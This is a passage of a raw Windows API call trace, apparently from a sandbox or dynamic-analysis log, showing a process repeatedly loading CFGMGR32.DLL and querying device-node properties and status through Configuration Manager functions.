GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.119] malloc (_Size=0x18) returned 0x196ef0d1a20 [0224.119] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.122] malloc (_Size=0x48) returned 0x196ef0fbc70 [0224.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6670eab0, dwHighDateTime=0x1d9eb0c)) [0224.122] SetEvent (hEvent=0x248) returned 1 [0224.127] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.127] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.131] malloc (_Size=0x18) returned 0x196ef0d1980 [0224.131] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x22, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0224.131] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0224.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x66734e57, dwHighDateTime=0x1d9eb0c)) [0224.131] SetEvent (hEvent=0x248) returned 1 [0224.136] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.136] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.138] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.139] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.140] malloc (_Size=0x18) returned 0x196ef0d1e20 [0224.140] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x22, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0224.140] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0224.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x66734e57, dwHighDateTime=0x1d9eb0c)) [0224.140] SetEvent (hEvent=0x248) returned 1 [0224.144] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.144] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.148] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0224.148] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0224.148] malloc (_Size=0x48) returned 0x196ef0fb950 [0224.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6675b0bb, dwHighDateTime=0x1d9eb0c)) [0224.148] SetEvent (hEvent=0x248) returned 1 [0224.217] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.217] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.220] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0224.220] CM_Get_Device_IDA (in: dnDevInst=0x23, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\ACPI0010\\2&DABA3FF&0") returned 0x0 [0224.220] malloc (_Size=0x48) returned 0x196ef0fbe00 [0224.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x667f38b3, dwHighDateTime=0x1d9eb0c)) [0224.220] SetEvent (hEvent=0x248) returned 1 [0224.225] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.225] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.229] malloc (_Size=0x18) returned 0x196ef0d1c60 [0224.229] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.229] malloc (_Size=0x60) returned 0x196ef0d0370 [0224.229] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0224.230] free (_Block=0x196ef0d0370) [0224.230] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0224.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6681ae60, dwHighDateTime=0x1d9eb0c)) [0224.231] SetEvent (hEvent=0x248) returned 1 [0224.234] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0224.234] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.234] free (_Block=0x196ef0d1ac0) [0224.234] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0224.234] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0224.234] free (_Block=0x196ef0d1aa0) [0224.234] malloc (_Size=0x18) returned 0x196ef0d19e0 [0224.234] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0224.234] free (_Block=0x196ef0d19e0) [0224.235] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8565e0 [0224.235] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0224.235] SafeArrayGetLBound (in: psa=0x196ef1f2cb0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.235] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.235] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0224.235] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0224.235] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.235] SafeArrayGetElemsize (psa=0x196ef1f2cb0) returned 0x8 [0224.235] SafeArrayGetElement (in: psa=0x196ef1f2cb0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.236] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.236] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.236] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.237] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0224.237] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8565e0) returned 1 [0224.238] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.238] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.242] malloc (_Size=0x18) returned 0x196ef0d1c40 [0224.242] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.242] malloc (_Size=0x14) returned 0x196ef0d1ac0 [0224.242] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1ac0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1ac0, pulLength=0x67117d608) returned 0x0 [0224.242] free (_Block=0x196ef0d1ac0) [0224.242] malloc (_Size=0x48) returned 0x196ef0fb400 [0224.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66840185, dwHighDateTime=0x1d9eb0c)) [0224.243] SetEvent (hEvent=0x248) returned 1 [0224.246] malloc (_Size=0x18) returned 0x196ef0d1d60 [0224.246] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0224.246] free (_Block=0x196ef0d1d60) [0224.246] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855960 [0224.246] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.246] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.246] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.246] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0224.246] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.246] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.246] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0224.247] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.247] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225e20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.248] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0224.249] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855960) returned 1 [0224.249] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.249] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 